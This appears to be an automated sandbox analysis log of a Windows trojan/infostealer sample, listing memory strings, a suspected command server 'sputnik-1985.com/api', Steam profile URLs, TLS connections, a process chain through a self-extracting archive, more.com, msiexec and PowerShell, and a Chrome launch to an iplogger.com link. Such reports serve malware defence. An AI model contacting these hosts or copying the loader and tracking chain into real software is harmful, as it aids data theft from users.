Source: msiexec.exe, 0000000E.00000003.1564545188.00000000058A7000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1580291597.000000000588F000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845767731.0000000002C09000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1577166881.000000000588E000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845767731.0000000002C1D000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1577096189.000000000588D000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539925432.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/api
Source: msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/api(w
Source: msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apiC
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apiK
Source: msiexec.exe, 0000000E.00000003.1580291597.000000000588F000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1577166881.000000000588E000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1577096189.000000000588D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apics3
Source: msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apies
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apig
Source: msiexec.exe, 0000000E.00000003.1580291597.000000000588F000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1577166881.000000000588E000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1577096189.000000000588D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apioAeW
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/c
Source: msiexec.exe, 0000000E.00000003.1643141481.0000000002CA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/lZ
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539925432.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/roso
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/serss
Source: msiexec.exe, 0000000E.00000003.1576989873.00000000058A7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/~
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steamp
Source: msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: msiexec.exe, 0000000E.00000003.1579428680.0000000005957000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: msiexec.exe, 0000000E.00000003.1579428680.0000000005957000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: msiexec.exe, 0000000E.00000003.1580291597.0000000005892000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: 333.exe, 00000005.00000002.1323178845.0000000034D93000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: msiexec.exe, 0000000E.00000003.1845722603.0000000002C97000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.entrust.net/rpa0
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptc
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: msiexec.exe, 0000000E.00000003.1580291597.0000000005892000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: msiexec.exe, 0000000E.00000003.1579428680.0000000005957000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: msiexec.exe, 0000000E.00000003.1579428680.0000000005957000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: msiexec.exe, 0000000E.00000003.1579428680.0000000005957000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: msiexec.exe, 0000000E.00000003.1579428680.0000000005957000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: msiexec.exe, 0000000E.00000003.1579428680.0000000005957000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 85.239.54.77:443 -> 192.168.2.7:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50019 version: TLS 1.2

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67E400C	3_2_00007FF7B67E400C
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67CA8AC	3_2_00007FF7B67CA8AC
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67D569C	3_2_00007FF7B67D569C
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67DECE0	3_2_00007FF7B67DECE0
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67CDC4C	3_2_00007FF7B67CDC4C
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67E09D8	3_2_00007FF7B67E09D8
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67D6294	3_2_00007FF7B67D6294
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67F9008	3_2_00007FF7B67F9008
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67F2F24	3_2_00007FF7B67F2F24
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67EC074	3_2_00007FF7B67EC074
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67EBDF8	3_2_00007FF7B67EBDF8
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67EFD18	3_2_00007FF7B67EFD18
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67CBF0C	3_2_00007FF7B67CBF0C
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67CB318	3_2_00007FF7B67CB318
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67F5510	3_2_00007FF7B67F5510
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67F59E0	3_2_00007FF7B67F59E0
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67CE91C	3_2_00007FF7B67CE91C
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67CB948	3_2_00007FF7B67CB948
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67E400C	3_2_00007FF7B67E400C
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67C72AC	3_2_00007FF7B67C72AC
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67DCA30	3_2_00007FF7B67DCA30
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_018B92FE	16_2_018B92FE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_03701240	17_2_03701240
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_037010ED	17_2_037010ED

Source: msiexec.exe, 0000000E.00000003.1852273010.00000000068F3000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006058000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmp

Binary or memory string: nsberg.noedu.ruedu.rwedu.sgkomae.tokyo.jpmazowsze.plshintoku.hokkaido.jplans.museumedu.slnom.mgl

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@33/23@31/12

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Code function: 3_2_00007FF7B67C3BF8 GetLastError,FormatMessageW,LocalFree,

3_2_00007FF7B67C3BF8

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Code function: 3_2_00007FF7B67DC260 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

3_2_00007FF7B67DC260

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

File created: C:\Users\user~1\AppData\Local\Temp\RarSFX0

Jump to behavior

Source: 4kN17cL4Tn.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 4kN17cL4Tn.exe	ReversingLabs: Detection: 52%
Source: 4kN17cL4Tn.exe	Virustotal: Detection: 65%

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

File read: C:\Users\user\Desktop\4kN17cL4Tn.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\4kN17cL4Tn.exe "C:\Users\user\Desktop\4kN17cL4Tn.exe"
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe "C:\Users\user~1\AppData\Local\Temp\RarSFX0\333.exe"
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/15PRC4
